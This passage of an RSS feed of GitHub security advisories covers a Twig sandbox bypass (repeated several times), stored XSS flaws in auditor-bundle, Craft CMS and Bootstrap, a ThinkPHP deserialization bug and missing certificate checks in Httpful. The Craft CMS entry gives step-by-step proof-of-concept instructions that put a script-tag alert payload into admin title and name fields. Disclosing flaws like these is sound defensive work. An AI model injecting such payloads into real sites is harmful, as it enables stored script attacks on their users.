      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[damienharper/auditor-bundle] auditor-bundle vulnerable to Cross-site Scripting because name of entity does not get escaped</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unescaped entity property enables Javascript injection.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;I think this is possible because %source_label% in twig macro is not escaped. Therefore script tags can be inserted and are executed.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;clone example project &lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle-demo&quot;&gt;https://github.com/DamienHarper/auditor-bundle-demo&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;create author with FullName &lt;/li&gt;
        &lt;li&gt;delete author&lt;/li&gt;
        &lt;li&gt;view audit of authors&lt;/li&gt;
        &lt;li&gt;alert is displayed&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;persistent XSS. JS can be injected and executed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/DamienHarper/auditor-bundle/security/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&quot;&gt;https://github.com/DamienHarper/auditor-bundle/commit/42ba2940d8b99467de0c806ea5655cc1c6882cd1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45592&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-78vg-7v27-hj67&quot;&gt;https://github.com/advisories/GHSA-78vg-7v27-hj67&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-78vg-7v27-hj67</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-78vg-7v27-hj67</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[topthink/framework] ThinkPHP deserialization vulnerability</title>
      <description>&lt;p&gt;A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/fru1ts/CVE-2024-44902&quot;&gt;https://github.com/fru1ts/CVE-2024-44902&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;http://thinkphp.com/&quot;&gt;http://thinkphp.com&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f4wh-359g-4pq7&quot;&gt;https://github.com/advisories/GHSA-f4wh-359g-4pq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f4wh-359g-4pq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f4wh-359g-4pq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;We would like to thank Fabien Potencier for reporting and fixing the issue.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/twigphp/Twig/security/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&quot;&gt;https://github.com/twigphp/Twig/commit/11f68e2aeb526bfaf638e30d4420d8a710f3f7c6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&quot;&gt;https://github.com/twigphp/Twig/commit/2102dd135986db79192d26fb5f5817a566e0a7de&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&quot;&gt;https://github.com/twigphp/Twig/commit/7afa198603de49d147e90d18062e7b9addcf5233&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45411&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&quot;&gt;https://github.com/twigphp/Twig/commit/41103dcdc2daab4c83cdd05b5b4fde5b7e41e635&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6j75-5wfj-gh66&quot;&gt;https://github.com/advisories/GHSA-6j75-5wfj-gh66&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6j75-5wfj-gh66</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6j75-5wfj-gh66</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[craftcms/cms] Craft CMS vulnerable to stored XSS in breadcrumb list and title fields</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Multiple Stored XSS can be triggered by the breadcrumb list and title fields with user input.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Malicious users can tamper with the control panel.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;h4 id=&quot;1-in-the-admincategories-page-category-title-isnt-sanitized-and-triggered-xss&quot;&gt;1. In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Categories page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/4e0f35c7-fbb0-4d38-a0b5-9e28750ff706&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e046b9db-d83c-4f81-ad91-165c5afedeb9&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;2-in-the-category-edit-page-under-the-admincategories-category-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;2. In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Category edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f7543a11-58eb-4099-9ee2-3461816c52ea&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f01bbb80-4417-42ca-bf51-b38860f6c74a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;3-in-the-adminentries-page-entry-title-isnt-sanitized-and-triggered-xss&quot;&gt;3. In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entries page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b255a999-e48c-46be-b732-4482ea9cee9a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/445d8e0c-71b6-49c7-8f4a-37541dcc9c85&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;4-in-the-entry-edit-page-under-the-adminentries-entry-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;4. In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entriy edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a59a122b-b9e7-4695-be13-eb8a1c2d36df&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b0d27446-7ac6-47e7-ac02-20c924698b13&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;5-in-the-adminmyaccount-and-pages-under-it-username-or-full-name-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;5. In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the My Account Page ( /admin/myaccount )
        2. Input the Full Name column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        3. Push the the Save button
        4. Access to the My Account page ( /admin/myaccount ) or pages under it ( /admin/myaccount/addresses , /admin/myaccount/preferences , etc.) and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/3be45bdd-0757-42a8-bc5d-320ab2339fd0&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e1be7446-1c54-42bc-af9a-a8ac81a2d7bf&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/5fa06b26-fecd-40f5-bc8b-171f881f8a2a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&quot;&gt;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-28h4-788g-rh42</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-28h4-788g-rh42</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[nategood/httpful] Httpful is Missing Certificate Validation</title>
      <description>&lt;p&gt;Httpful has Insecure HTTPS Connections due to Missing Default Certificate Validation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/issues/247&quot;&gt;https://github.com/nategood/httpful/issues/247&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&quot;&gt;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&quot;&gt;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&quot;&gt;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&quot;&gt;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&quot;&gt;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twbs/bootstrap] Bootstrap Cross-Site Scripting (XSS) vulnerability</title>
      <description>&lt;p&gt;A vulnerability has been identified in Bootstrap that exposes users to Cross-Site Scripting (XSS) attacks. The issue is present in the carousel component, where the data-slide and data-slide-to attributes can be exploited through the href attribute of an &lt;a&gt; tag due to inadequate sanitization. This vulnerability could potentially enable attackers to execute arbitrary JavaScript within the victim&#39;s browser.&lt;/a&gt;&lt;/p&gt;&lt;a&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;/a&gt;&lt;ul&gt;&lt;a&gt;
        &lt;/a&gt;&lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&lt;/a&gt;&lt;/li&gt;
